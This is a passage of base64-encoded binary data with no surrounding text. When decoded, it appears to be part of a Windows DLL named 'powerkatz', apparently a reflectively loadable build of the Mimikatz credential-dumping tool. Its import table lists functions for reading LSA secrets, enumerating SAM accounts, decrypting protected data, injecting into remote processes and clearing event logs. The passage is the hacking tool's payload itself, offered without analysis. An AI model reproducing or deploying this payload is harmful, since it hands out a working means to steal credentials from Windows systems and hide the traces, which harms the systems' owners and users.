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ApDDAAAAAAAKkMMAAAAAABCQwwAAAAAAMBDDAAAAAAAnkMMAAAAAACOQwwAAAAAAHZDDAAAAAAAXkMMAAAAAAB4RAwAAAAAAAAAAAAAAAAACDwMAAAAAAD2OwwAAAAAAOI7DAAAAAAAAAAAAAAAAADLAENyeXB0UmVsZWFzZUNvbnRleHQAwABDcnlwdEdlbktleQDGAENyeXB0R2V0UHJvdlBhcmFtAMQAQ3J5cHRHZXRIYXNoUGFyYW0AygBDcnlwdEltcG9ydEtleQAAzQBDcnlwdFNldEtleVBhcmFtAAC2AENyeXB0RGVzdHJveUhhc2gAAMwAQ3J5cHRTZXRIYXNoUGFyYW0AyABDcnlwdEhhc2hEYXRhALMAQ3J5cHRDcmVhdGVIYXNoAL8AQ3J5cHRFeHBvcnRLZXkAALQAQ3J5cHREZWNyeXB0AADUAlN5c3RlbUZ1bmN0aW9uMDA3ALkAQ3J5cHREdXBsaWNhdGVLZXkAugBDcnlwdEVuY3J5cHQAALEAQ3J5cHRBY3F1aXJlQ29udGV4dFcAAMUAQ3J5cHRHZXRLZXlQYXJhbQAAsABDcnlwdEFjcXVpcmVDb250ZXh0QQAAtwBDcnlwdERlc3Ryb3lLZXkANgFHZXRMZW5ndGhTaWQAAHYAQ29weVNpZACdAUxzYUNsb3NlAAC9AUxzYU9wZW5Qb2xpY3kAxQFMc2FRdWVyeUluZm9ybWF0aW9uUG9saWN5AIMAQ3JlYXRlV2VsbEtub3duU2lkAAB8AENyZWF0ZVByb2Nlc3NBc1VzZXJXAAB9AENyZWF0ZVByb2Nlc3NXaXRoTG9nb25XAG4CUmVnUXVlcnlWYWx1ZUV4VwAAUgJSZWdFbnVtVmFsdWVXAGECUmVnT3BlbktleUV4VwB+AlJlZ1NldFZhbHVlRXhXAABPAlJlZ0VudW1LZXlFeFcAaAJSZWdRdWVyeUluZm9LZXlXAAAwAlJlZ0Nsb3NlS2V5AO0CU3lzdGVtRnVuY3Rpb24wMzIAKQJRdWVyeVNlcnZpY2VTdGF0dXNFeAAA+wFPcGVuU2VydmljZVcAAMkCU3RhcnRTZXJ2aWNlVwBcAENvbnRyb2xTZXJ2aWNlAADaAERlbGV0ZVNlcnZpY2UA+QFPcGVuU0NNYW5hZ2VyVwAAVwBDbG9zZVNlcnZpY2VIYW5kbGUAAGwAQ29udmVydFNpZFRvU3RyaW5nU2lkVwAAgAFJc1RleHRVbmljb2RlAFoBR2V0VG9rZW5JbmZvcm1hdGlvbgCPAUxvb2t1cEFjY291bnROYW1lVwAAkQFMb29rdXBBY2NvdW50U2lkVwD3AU9wZW5Qcm9jZXNzVG9rZW4AAHQAQ29udmVydFN0cmluZ1NpZFRvU2lkVwAAqwFMc2FGcmVlTWVtb3J5ANMCU3lzdGVtRnVuY3Rpb24wMDYAvABDcnlwdEVudW1Qcm92aWRlclR5cGVzVwC+AENyeXB0RW51bVByb3ZpZGVyc1cAxwBDcnlwdEdldFVzZXJLZXkA9gFPcGVuRXZlbnRMb2dXAFMAQ2xlYXJFdmVudExvZ1cAAEMBR2V0TnVtYmVyT2ZFdmVudExvZ1JlY29yZHMAACcCUXVlcnlTZXJ2aWNlT2JqZWN0U2VjdXJpdHkAAEMAQnVpbGRTZWN1cml0eURlc2NyaXB0b3JXAAAgAUZyZWVTaWQAvwJTZXRTZXJ2aWNlT2JqZWN0U2VjdXJpdHkAACAAQWxsb2NhdGVBbmRJbml0aWFsaXplU2lkAACBAENyZWF0ZVNlcnZpY2VXAADmAlN5c3RlbUZ1bmN0aW9uMDI1AMwBTHNhUmV0cmlldmVQcml2YXRlRGF0YQAAvwFMc2FPcGVuU2VjcmV0AMkBTHNhUXVlcnlUcnVzdGVkRG9tYWluSW5mb0J5TmFtZQDGAUxzYVF1ZXJ5U2VjcmV0AADOAlN5c3RlbUZ1bmN0aW9uMDAxANICU3lzdGVtRnVuY3Rpb24wMDUAVwFHZXRTaWRTdWJBdXRob3JpdHkAANoCU3lzdGVtRnVuY3Rpb24wMTMAWAFHZXRTaWRTdWJBdXRob3JpdHlDb3VudACqAUxzYUVudW1lcmF0ZVRydXN0ZWREb21haW5zRXgAAJcBTG9va3VwUHJpdmlsZWdlVmFsdWVXAIYBSXNWYWxpZFNpZAAA/AFPcGVuVGhyZWFkVG9rZW4A3wBEdXBsaWNhdGVUb2tlbkV4AABRAENoZWNrVG9rZW5NZW1iZXJzaGlwAADBAlNldFRocmVhZFRva2VuAACMAENyZWRGcmVlAACJAENyZWRFbnVtZXJhdGVXAABBRFZBUEkzMi5kbGwAAAgAQ2VydEFkZEVuY29kZWRDZXJ0aWZpY2F0ZVRvU3RvcmUAAEAAQ2VydEZyZWVDZXJ0aWZpY2F0ZUNvbnRleHQAABIAQ2VydENsb3NlU3RvcmUAABABUEZYRXhwb3J0Q2VydFN0b3JlRXgAAGoAQ2VydFNldENlcnRpZmljYXRlQ29udGV4dFByb3BlcnR5AFcAQ2VydE9wZW5TdG9yZQDWAENyeXB0VW5wcm90ZWN0RGF0YQAAewBDcnlwdEJpbmFyeVRvU3RyaW5nVwAA1ABDcnlwdFN0cmluZ1RvQmluYXJ5VwAAugBDcnlwdFByb3RlY3REYXRhAAB5AENyeXB0QWNxdWlyZUNlcnRpZmljYXRlUHJpdmF0ZUtleQCLAENyeXB0RXhwb3J0UHVibGljS2V5SW5mbwAALwBDZXJ0RW51bVN5c3RlbVN0b3JlAAQAQ2VydEFkZENlcnRpZmljYXRlQ29udGV4dFRvU3RvcmUAAM4AQ3J5cHRTaWduQW5kRW5jb2RlQ2VydGlmaWNhdGUALABDZXJ0RW51bUNlcnRpZmljYXRlc0luU3RvcmUAhABDcnlwdEVuY29kZU9iamVjdAA1AENlcnRGaW5kQ2VydGlmaWNhdGVJblN0b3JlAABLAENlcnRHZXROYW1lU3RyaW5nVwAARgBDZXJ0R2V0Q2VydGlmaWNhdGVDb250ZXh0UHJvcGVydHkAQ1JZUFQzMi5kbGwABgBDRExvY2F0ZUNoZWNrU3VtAAAMAE1ENUluaXQADQBNRDVVcGRhdGUACwBNRDVGaW5hbAAABQBDRExvY2F0ZUNTeXN0ZW0ABABDREdlbmVyYXRlUmFuZG9tQml0cwAAY3J5cHRkbGwuZGxsAAAQAERzR2V0RGNOYW1lVwAAZQBOZXRBcGlCdWZmZXJGcmVlAABORVRBUEkzMi5kbGwAABQAQ29DcmVhdGVJbnN0YW5jZQAAcABDb1VuaW5pdGlhbGl6ZQAAQwBDb0luaXRpYWxpemVFeAAAb2xlMzIuZGxsAE9MRUFVVDMyLmRsbAAAeQFScGNCaW5kaW5nU2V0T3B0aW9uAGcBUnBjQmluZGluZ0Zyb21TdHJpbmdCaW5kaW5nVwAA9gFScGNTdHJpbmdCaW5kaW5nQ29tcG9zZVcAAHYBUnBjQmluZGluZ1NldEF1dGhJbmZvRXhXAAD6AVJwY1N0cmluZ0ZyZWVXAAB6AE1lc0hhbmRsZUZyZWUAeQBNZXNFbmNvZGVJbmNyZW1lbnRhbEhhbmRsZUNyZWF0ZQAAdgBNZXNEZWNvZGVJbmNyZW1lbnRhbEhhbmRsZUNyZWF0ZQAAZQFScGNCaW5kaW5nRnJlZQAAewBNZXNJbmNyZW1lbnRhbEhhbmRsZVJlc2V0APoATmRyTWVzVHlwZUVuY29kZTIA9wBOZHJNZXNUeXBlRGVjb2RlMgD8AE5kck1lc1R5cGVGcmVlMgD0AE5kck1lc1R5cGVBbGlnblNpemUyAAAgAElfUnBjQmluZGluZ0lucVNlY3VyaXR5Q29udGV4dAAAlQBOZHJDbGllbnRDYWxsMgAAAwJVdWlkQ3JlYXRlAABSUENSVDQuZGxsAAA6AFBhdGhDb21iaW5lVwAAOABQYXRoQ2Fub25pY2FsaXplVwBlAFBhdGhJc1JlbGF0aXZlVwBJAFBhdGhGaW5kRmlsZU5hbWVXAFsAUGF0aElzRGlyZWN0b3J5VwAAU0hMV0FQSS5kbGwAEwBTYW1FbnVtZXJhdGVVc2Vyc0luRG9tYWluAB0AU2FtTG9va3VwTmFtZXNJbkRvbWFpbgAAHwBTYW1PcGVuRG9tYWluACEAU2FtT3BlblVzZXIAHABTYW1Mb29rdXBJZHNJbkRvbWFpbgAABwBTYW1Db25uZWN0AAAGAFNhbUNsb3NlSGFuZGxlAAAUAFNhbUZyZWVNZW1vcnkAJgBTYW1RdWVyeUluZm9ybWF0aW9uVXNlcgAgAFNhbU9wZW5Hcm91cAAAEQBTYW1FbnVtZXJhdGVEb21haW5zSW5TYW1TZXJ2ZXIAABAAU2FtRW51bWVyYXRlQWxpYXNlc0luRG9tYWluACwAU2FtUmlkVG9TaWQAHgBTYW1PcGVuQWxpYXMAABUAU2FtR2V0QWxpYXNNZW1iZXJzaGlwABIAU2FtRW51bWVyYXRlR3JvdXBzSW5Eb21haW4AABsAU2FtTG9va3VwRG9tYWluSW5TYW1TZXJ2ZXIAABoAU2FtR2V0TWVtYmVyc0luR3JvdXAAABkAU2FtR2V0TWVtYmVyc0luQWxpYXMAABgAU2FtR2V0R3JvdXBzRm9yVXNlcgBTQU1MSUIuZGxsAAAYAEZyZWVDb250ZXh0QnVmZmVyADQAUXVlcnlDb250ZXh0QXR0cmlidXRlc1cAJwBMc2FDb25uZWN0VW50cnVzdGVkACgATHNhRGVyZWdpc3RlckxvZ29uUHJvY2VzcwAmAExzYUNhbGxBdXRoZW50aWNhdGlvblBhY2thZ2UAAC0ATHNhTG9va3VwQXV0aGVudGljYXRpb25QYWNrYWdlAAAqAExzYUZyZWVSZXR1cm5CdWZmZXIAU2VjdXIzMi5kbGwABgBDb21tYW5kTGluZVRvQXJndlcAAFNIRUxMMzIuZGxsAMcBSXNDaGFyQWxwaGFOdW1lcmljVwBAAUdldEtleWJvYXJkTGF5b3V0AFVTRVIzMi5kbGwAAAUASGlkRF9HZXRIaWRHdWlkAAEASGlkRF9GcmVlUHJlcGFyc2VkRGF0YQAADABIaWREX0dldFByZXBhcnNlZERhdGEAFQBIaWRQX0dldENhcHMAAAIASGlkRF9HZXRBdHRyaWJ1dGVzAABISUQuRExMAD8BU2V0dXBEaURlc3Ryb3lEZXZpY2VJbmZvTGlzdAAAQwFTZXR1cERpRW51bURldmljZUludGVyZmFjZXMAVgFTZXR1cERpR2V0Q2xhc3NEZXZzVwAAbgFTZXR1cERpR2V0RGV2aWNlSW50ZXJmYWNlRGV0YWlsVwAAU0VUVVBBUEkuZGxsAAAqAFNDYXJkTGlzdFJlYWRlcnNXABYAU0NhcmRHZXRDYXJkVHlwZVByb3ZpZGVyTmFtZVcAJABTQ2FyZExpc3RDYXJkc1cAMwBTQ2FyZFJlbGVhc2VDb250ZXh0AAwAU0NhcmRFc3RhYmxpc2hDb250ZXh0AAoAU0NhcmREaXNjb25uZWN0ABQAU0NhcmRHZXRBdHRyaWIAABMAU0NhcmRGcmVlTWVtb3J5AAgAU0NhcmRDb25uZWN0VwBXaW5TQ2FyZC5kbGwAAFdMREFQMzIuZGxsABUAUnRsRnJlZUFuc2lTdHJpbmcAIABSdGxVbmljb2RlU3RyaW5nVG9BbnNpU3RyaW5nAAAWAFJ0bEZyZWVVbmljb2RlU3RyaW5nAAASAFJ0bERvd25jYXNlVW5pY29kZVN0cmluZwAAFABSdGxFcXVhbFVuaWNvZGVTdHJpbmcAHABSdGxJbml0VW5pY29kZVN0cmluZwAAAgBOdFF1ZXJ5T2JqZWN0ABgAUnRsR2V0Q29tcHJlc3Npb25Xb3JrU3BhY2VTaXplAAAPAFJ0bENvbXByZXNzQnVmZmVyAAUATnRRdWVyeVN5c3RlbUluZm9ybWF0aW9uAAABAE50UXVlcnlJbmZvcm1hdGlvblByb2Nlc3MAGQBSdGxHZXRDdXJyZW50UGViAAAQAFJ0bENyZWF0ZVVzZXJUaHJlYWQAFwBSdGxHVUlERnJvbVN0cmluZwAfAFJ0bFN0cmluZ0Zyb21HVUlEABoAUnRsR2V0TnRWZXJzaW9uTnVtYmVycwAADgBSdGxBcHBlbmRVbmljb2RlU3RyaW5nVG9TdHJpbmcAACIAUnRsVXBjYXNlVW5pY29kZVN0cmluZwAADQBSdGxBbnNpU3RyaW5nVG9Vbmljb2RlU3RyaW5nAAAGAE50UmVzdW1lUHJvY2VzcwAMAFJ0bEFkanVzdFByaXZpbGVnZQAACwBOdFRlcm1pbmF0ZVByb2Nlc3MAAAoATnRTdXNwZW5kUHJvY2VzcwAACABOdFNldFN5c3RlbUVudmlyb25tZW50VmFsdWVFeAAEAE50UXVlcnlTeXN0ZW1FbnZpcm9ubWVudFZhbHVlRXgAAABOdEVudW1lcmF0ZVN5c3RlbUVudmlyb25tZW50VmFsdWVzRXgAABMAUnRsRXF1YWxTdHJpbmcAAG50ZGxsLmRsbAABAElfTmV0U2VydmVyUmVxQ2hhbGxlbmdlAAAASV9OZXRTZXJ2ZXJBdXRoZW50aWNhdGUyAAACAElfTmV0U2VydmVyVHJ1c3RQYXNzd29yZHNHZXQAAG5ldGFwaTMyLmRsbAAAKwFGaWxlVGltZVRvU3lzdGVtVGltZQAAwwNSZWFkRmlsZQAANAVXcml0ZUZpbGUARgNMb2NhbEFsbG9jAACPAENyZWF0ZUZpbGVXAMAEU2xlZXAACAJHZXRMYXN0RXJyb3IAAM8EVGVybWluYXRlVGhyZWFkAFIAQ2xvc2VIYW5kbGUAtABDcmVhdGVUaHJlYWQAAEoDTG9jYWxGcmVlAD8BRmluZEZpcnN0RmlsZVcAAPgBR2V0RmlsZVNpemVFeABLAUZpbmROZXh0RmlsZVcAIwFFeHBhbmRFbnZpcm9ubWVudFN0cmluZ3NXADQBRmluZENsb3NlAPEBR2V0RmlsZUF0dHJpYnV0ZXNXAADFAUdldEN1cnJlbnREaXJlY3RvcnlXAABdAUZsdXNoRmlsZUJ1ZmZlcnMAAMYBR2V0Q3VycmVudFByb2Nlc3MA7ABEdXBsaWNhdGVIYW5kbGUAggNPcGVuUHJvY2VzcwDhAERldmljZUlvQ29udHJvbAA9BVdyaXRlUHJvY2Vzc01lbW9yeQAA/gRWaXJ0dWFsUHJvdGVjdAAA+wRWaXJ0dWFsRnJlZQD4BFZpcnR1YWxBbGxvYwAAdARTZXRGaWxlUG9pbnRlcgAA/wRWaXJ0dWFsUHJvdGVjdEV4AAD5BFZpcnR1YWxBbGxvY0V4AADGA1JlYWRQcm9jZXNzTWVtb3J5APwEVmlydHVhbEZyZWVFeAAABVZpcnR1YWxRdWVyeQAAAQVWaXJ0dWFsUXVlcnlFeAAA5QRVbm1hcFZpZXdPZkZpbGUAjABDcmVhdGVGaWxlTWFwcGluZ1cAAFkDTWFwVmlld09mRmlsZQBNA0xvY2FsUmVBbGxvYwAAqABDcmVhdGVQcm9jZXNzVwAAgARTZXRMYXN0RXJyb3IAAAgFV2FpdEZvclNpbmdsZU9iamVjdACpAENyZWF0ZVJlbW90ZVRocmVhZAAAKgFGaWxlVGltZVRvTG9jYWxGaWxlVGltZQCeAkdldFRpbWVGb3JtYXRXAAAgBVdpZGVDaGFyVG9NdWx0aUJ5dGUAzwFHZXREYXRlRm9ybWF0VwAAFQBBcmVGaWxlQXBpc0FOU0kA3ARUcnlFbnRlckNyaXRpY2FsU2VjdGlvbgDVAkhlYXBDcmVhdGUAANcCSGVhcEZyZWUAAPIARW50ZXJDcml0aWNhbFNlY3Rpb24AAAICR2V0RnVsbFBhdGhOYW1lVwAA1gFHZXREaXNrRnJlZVNwYWNlVwCLA091dHB1dERlYnVnU3RyaW5nQQAAVANMb2NrRmlsZQAAOwNMZWF2ZUNyaXRpY2FsU2VjdGlvbgAA6gJJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uAP8BR2V0RnVsbFBhdGhOYW1lQQAAYQRTZXRFbmRPZkZpbGUAAOQEVW5sb2NrRmlsZUV4AACMAkdldFRlbXBQYXRoVwAAngBDcmVhdGVNdXRleFcAAKwCR2V0VmVyc2lvbkV4VwDfAkhlYXBWYWxpZGF0ZQAA3AJIZWFwU2l6ZQAAaQNNdWx0aUJ5dGVUb1dpZGVDaGFyAIsCR2V0VGVtcFBhdGhBAABkAUZvcm1hdE1lc3NhZ2VXAADTAUdldERpc2tGcmVlU3BhY2VBAOwBR2V0RmlsZUF0dHJpYnV0ZXNBAADuAUdldEZpbGVBdHRyaWJ1dGVzRXhXAACMA091dHB1dERlYnVnU3RyaW5nVwAAYAFGbHVzaFZpZXdPZkZpbGUAiABDcmVhdGVGaWxlQQAJBVdhaXRGb3JTaW5nbGVPYmplY3RFeACrAkdldFZlcnNpb25FeEEA1ABEZWxldGVGaWxlQQDXAERlbGV0ZUZpbGVXANoCSGVhcFJlQWxsb2MAegJHZXRTeXN0ZW1JbmZvANMCSGVhcEFsbG9jANQCSGVhcENvbXBhY3QA1gJIZWFwRGVzdHJveQDjBFVubG9ja0ZpbGUAAIkAQ3JlYXRlRmlsZU1hcHBpbmdBAABVA0xvY2tGaWxlRXgAAPcBR2V0RmlsZVNpemUA0gBEZWxldGVDcml0aWNhbFNlY3Rpb24AxwFHZXRDdXJyZW50UHJvY2Vzc0lkAFECR2V0UHJvY2Vzc0hlYXAAAMsEU3lzdGVtVGltZVRvRmlsZVRpbWUAAIACR2V0U3lzdGVtVGltZUFzRmlsZVRpbWUAfgJHZXRTeXN0ZW1UaW1lAGMBRm9ybWF0TWVzc2FnZUEAAKkDUXVlcnlQZXJmb3JtYW5jZUNvdW50ZXIAmgJHZXRUaWNrQ291bnQAAEEDTG9hZExpYnJhcnlXAABMAkdldFByb2NBZGRyZXNzAABoAUZyZWVMaWJyYXJ5AB4CR2V0TW9kdWxlSGFuZGxlVwAAuAFHZXRDb25zb2xlU2NyZWVuQnVmZmVySW5mbwAAawJHZXRTdGRIYW5kbGUAAJ8CR2V0VGltZVpvbmVJbmZvcm1hdGlvbgAALgFGaWxsQ29uc29sZU91dHB1dENoYXJhY3RlclcAWwRTZXRDdXJyZW50RGlyZWN0b3J5VwAAPwRTZXRDb25zb2xlQ3Vyc29yUG9zaXRpb24AAMoBR2V0Q3VycmVudFRocmVhZAAAywFHZXRDdXJyZW50VGhyZWFkSWQAAO8CSW5pdGlhbGl6ZVNMaXN0SGVhZAAYBFJ0bENhcHR1cmVDb250ZXh0AB8EUnRsTG9va3VwRnVuY3Rpb25FbnRyeQAAJgRSdGxWaXJ0dWFsVW53aW5kAAACA0lzRGVidWdnZXJQcmVzZW50AOIEVW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAACzBFNldFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgBqAkdldFN0YXJ0dXBJbmZvVwAGA0lzUHJvY2Vzc29yRmVhdHVyZVByZXNlbnQAS0VSTkVMMzIuZGxsAAAlBFJ0bFVud2luZEV4APECSW50ZXJsb2NrZWRGbHVzaFNMaXN0AOsCSW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlvbkFuZFNwaW5Db3VudADTBFRsc0FsbG9jAADVBFRsc0dldFZhbHVlANYEVGxzU2V0VmFsdWUA1ARUbHNGcmVlAEADTG9hZExpYnJhcnlFeFcAAIwBR2V0Q29tbWFuZExpbmVBAI0BR2V0Q29tbWFuZExpbmVXAB8BRXhpdFByb2Nlc3MAzgRUZXJtaW5hdGVQcm9jZXNzAAAdAkdldE1vZHVsZUhhbmRsZUV4VwAAGQJHZXRNb2R1bGVGaWxlTmFtZUEAAG4BR2V0QUNQAAD6AUdldEZpbGVUeXBlAGQAQ29tcGFyZVN0cmluZ1cAAC8DTENNYXBTdHJpbmdXAACgAUdldENvbnNvbGVDUAAAsgFHZXRDb25zb2xlTW9kZQAAlARTZXRTdGRIYW5kbGUAAHACR2V0U3RyaW5nVHlwZVcAADkBRmluZEZpcnN0RmlsZUV4QQAASQFGaW5kTmV4dEZpbGVBAAwDSXNWYWxpZENvZGVQYWdlAD4CR2V0T0VNQ1AAAHgBR2V0Q1BJbmZvAOEBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAZwFGcmVlRW52aXJvbm1lbnRTdHJpbmdzVwBkBFNldEVudmlyb25tZW50VmFyaWFibGVBAHUEU2V0RmlsZVBvaW50ZXJFeAAAMwVXcml0ZUNvbnNvbGVXAMEDUmVhZENvbnNvbGVXAAC0A1JhaXNlRXhjZXB0aW9uAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA